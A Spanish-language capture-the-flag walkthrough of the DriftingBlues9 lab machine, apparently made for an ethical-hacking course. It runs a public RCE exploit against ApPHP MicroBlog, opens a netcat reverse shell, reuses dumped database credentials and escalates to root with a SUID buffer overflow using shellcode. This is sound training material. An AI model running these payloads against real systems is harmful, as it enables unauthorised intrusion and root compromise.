Identificamos la IP de la máquina víctima:
❯ arp-scan --interface=wlo1 --localnet | grep PCS | awk '{print $1}'
192.168.1.10Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts 192.168.1.10
[sudo] contraseña para wh01s17:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-01 16:15 -0400
Nmap scan report for 192.168.1.10
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
39345/tcp open unknown
MAC Address: 08:00:27:3D:26:97 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds❯ nmap -sCV -p 80,111,39345 -oN 02-targeted.txt 192.168.1.10
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-01 16:16 -0400
Nmap scan report for 192.168.1.10
Host is up (0.00051s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: ApPHP MicroBlog
|_http-generator: ApPHP MicroBlog vCURRENT_VERSION
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 34311/tcp6 status
| 100024 1 36324/udp status
| 100024 1 39345/tcp status
|_ 100024 1 60544/udp6 status
39345/tcp open status 1 (RPC #100024)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.22 secondsIngresamos al sitio y en el código fuente, descubrimos la versión de MicroBlog:
<!-- This script was generated by ApPHP MicroBlog v.1.0.1 (http://www.apphp.com/php-microblog/) -->Buscamos vulnerabilidades conocidas:
❯ searchsploit microblog 1.0.1
ApPHP MicroBlog 1.0.1 - Multiple Vulnerabilities | php/webapps/33030.txt
ApPHP MicroBlog 1.0.1 - Remote Command Execution | php/webapps/33070.pyUtilizamos el exploit EDB-ID-33070 para obtener una shell:
❯ python2 33070.py http://192.168.1.10/index.php
-= LOTFREE exploit for ApPHP MicroBlog 1.0.1 (Free Version) =-
original exploit by Jiko : http://www.exploit-db.com/exploits/33030/
[*] Testing for vulnerability...
[+] Website is vulnerable
...
[*] Fetching include/base.inc.php
<?php
// DATABASE CONNECTION INFORMATION
define('DATABASE_HOST', 'localhost'); // Database host
define('DATABASE_NAME', 'microblog'); // Name of the database to be used
define('DATABASE_USERNAME', 'clapton'); // User name for access to database
define('DATABASE_PASSWORD', 'yaraklitepe'); // Password for access to database
define('DB_ENCRYPT_KEY', 'p52plaiqb8'); // Database encryption key
define('DB_PREFIX', 'mb101_'); // Unique prefix of all table names in the database
?>
[*] Testing remote execution
[+] Remote exec is working with system() :)
Submit your commands, type exit to quit
> whoami
www-data
> nc 192.168.1.7 1234 -e /bin/bash❯ ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.10:56438.
script /dev/null -c bash
www-data@debian:/var/www/html$ export TERM=xterm
www-data@debian:/var/www/html$Utilizamos las credenciales descubiertas por el exploit, nos logueamos como el usuario clapton y obtenemos la primera flag:
www-data@debian:/var/www/html$ su clapton
Password: yaraklitepe
clapton@debian:/var/www/html$Dentro del home del usuaio, encontramos una nota y un binario con permisos SUID:
clapton@debian:~$ cat note.txt
buffer overflow is the way. ( ͡° ͜ʖ ͡°)
if you\'re new on 32bit bof then check these:
https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htm
clapton@debian:~$ ls -l input
-rwsr-xr-x 1 root root 5150 Sep 22 2015 inputTransferimos el bianario a nuestra máquina para analizarlo:
❯ nc -lvp 4444 > input
Listening on 0.0.0.0 4444clapton@debian:~$ nc 192.168.1.7 4444 < input❯ nc -lvp 4444 > input
Listening on 0.0.0.0 4444
Connection received on 192.168.1.10 55862Analizamos el binario con ghidra:
undefined4 main(int param_1,undefined4 *param_2)
{
char local_af [171];
if (param_1 < 2) {
printf("Syntax: %s <input string>\n",*param_2);
/* WARNING: Subroutine does not return */
exit(0);
}
strcpy(local_af,(char *)param_2[1]);
return 0;
}El script, toma un string desde línea de comandos y lo copia sin control de tamaño a una variable local.
El uso de strcpy() sobre un buffer sin validación del tamaño de entrada, introduce una vulnerabilidad crítica de buffer overflow. Si el usuario proporciona más de 170 caracteres como argumento, se sobrescribirá la memoria contigua del stack; esto puede corromper el flujo de ejecución y permitir ejecución arbitraria de código (RCE).
En primer lugar, creamos y patrón con la herramienta pattern_create.rb de metasploit, que contenga 200 caracteres:
❯ /opt/metasploit/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5AgLuego utilizamos y debuggeamos con el payload, utilizando GNU gdb en la maquina víctima:
❯ gdb ./input
...
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Starting program: /home/wh01s17/Documentos/workspace/OTEC-Sustantiva/01-HACKING-ÉTICO-EN-APLICATIVOS-WEB/material/maquinas/08-driftingblues9/content/input Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x41376641 in ?? ()Corroboramos el offset:
❯ /opt/metasploit/tools/exploit/pattern_offset.rb -l 200 -q 41376641
[*] Exact match at offset 171Miramos la salida de gdb, dónde está el buffer en memoria:
(gdb) x/40x $esp
x/40x $esp
0xbf898bf0: 0x66413866 0x30674139 0x41316741 0x67413267
...Nos posicionamos en 0xbf898bf0 y la convertimos en formato little endian:
0xbf898bf0 -> \xf0\x8b\x89\xbfYa que no sabemos en que sección de memoria se cargará nuestro payload (https://www.exploit-db.com/exploits/13357), corremos lo siguiente:
for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\xf0\x8b\x89\xbf" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')) ; done
...
Segmentation fault
Segmentation fault
Segmentation fault
# whoami
rootObtenemos nuestra flag y fin.